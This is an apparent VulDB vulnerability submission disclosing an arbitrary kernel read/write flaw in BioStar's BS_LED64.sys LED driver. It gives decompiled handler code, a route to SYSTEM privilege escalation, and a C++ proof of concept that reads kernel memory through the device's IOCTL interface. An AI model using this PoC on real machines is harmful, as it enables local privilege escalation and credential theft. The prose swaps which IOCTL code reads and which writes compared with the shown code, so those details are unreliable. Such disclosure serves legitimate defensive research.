| 제목 | BioStar VIVIDLEDDJ-4.0.2411.1500 4.0.2411.1500 Arbitrary memory read and write |
|---|
| 설명 | 1. VULNERABILITY COMPONENT
Vendor Name: BioStar (official site: https://www.biostar.com.tw)
Product Name: VIVIDLEDDJ-4.0.2411.1500
Affected Version(s): 4.0.2411.1500
Affected Component/File: BS_LED64.sys（SHA256: db86e3e131a899e1688522d2003d22c3131f8b7cdb432b084be37078b9a3429d）
Affected Routine/Function: sub_1105C(DriverObject->StartIo)
2. VULNERABILITY DETAILS
Vulnerability Type: Arbitrary memory read and write
CWE ID: CWE-822, CWE-123, CWE-125
Attack Vector: Local
Required Privileges: User (Low-privileged user/Everyone group)
3. ANALYSIS DETAILS
The vulnerable code is at sub_1105C(StatIo) + 0x54:
```C++
v8 = IoControlCode - 0x226040;
if ( !v8 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_117A0(*(_DWORD *)Irp->AssociatedIrp.SystemBuffer, (_DWORD *)Irp->AssociatedIrp.SystemBuffer, OutputBufferLength);
goto LABEL_96;
}
v9 = v8 - 4;
if ( !v9 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_11858(
*(_DWORD *)Irp->AssociatedIrp.SystemBuffer,
(_DWORD *)Irp->AssociatedIrp.SystemBuffer + 1,
InputBufferLength - 4);
goto LABEL_96;
}
```
The subroutine sub_117A0 and sub_11858 handle the read and write respectively
4. TECHNICAL DESCRIPTION
Option A: Arbitrary Kernel Write (The "Write-What-Where" Flaw)
Description:
An untrusted pointer dereference vulnerability (CWE-822 / CWE-123) exists in the BS_LED64.sys kernel-mode driver. The driver exposes a control code (IOCTL 0x226040) to user-mode applications. When handling this request, the driver's dispatch routine fails to validate a user-supplied pointer passed in the input buffer before executing a write operation to that memory address.
A local attacker with low privileges can craft a malicious IOCTL request containing a target kernel-space address and arbitrary data, allowing them to overwrite critical kernel structures (such as page tables or token privileges). This leads to a local privilege escalation (LPE) to NT AUTHORITY\SYSTEM or a system crash (BSOD).
Option B: Arbitrary Kernel Read
Description:
An out-of-bounds read vulnerability (CWE-125) exists in the BS_LED64.sys kernel-mode driver. The driver's IOCTL handler (IOCTL 0x226044) accepts a physical memory address pointer directly from user-space without performing validation
The driver reads data from the specified kernel address and copies it back to the user-space output buffer. A local, low-privileged attacker can exploit this to leak arbitrary kernel memory, bypassing Kernel Address Space Layout Randomization (KASLR) or extracting sensitive system tokens and credentials.
5. PROOF OF CONCEPT (PoC)
Example:
The flaw can be reproduced by opening a handle to the device object and sending the control code with a crafted parameter:
```c++
DWORD bytesReturned{0};
// We can leak kernel physical base through other tricks
DWORD PhysicalAddress{0x30a3000};
// The buffer receive the kernel data
UCHAR OutBuffer[512]{};
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_LED", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x226040, &PhysicalAddress, sizeof(DWORD), OutBuffer, sizeof(OutBuffer), &bytesReturned, NULL);
}
```
The above demonstrates how to read kernel data through this vulnerable driver, the write side is easy
6. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|
| 사용자 | Bigcat (UID 99687) |
|---|
| 제출 | 2026. 07. 17. AM 03:54 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 09. 20. PM 07:45 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 408048 [BioStar VIVID LED DJ 4.0.2411.1500 IOCTL BS_LED64.sys sub_1105C AssociatedIrp 메모리 손상] |
|---|
| 포인트들 | 17 |
|---|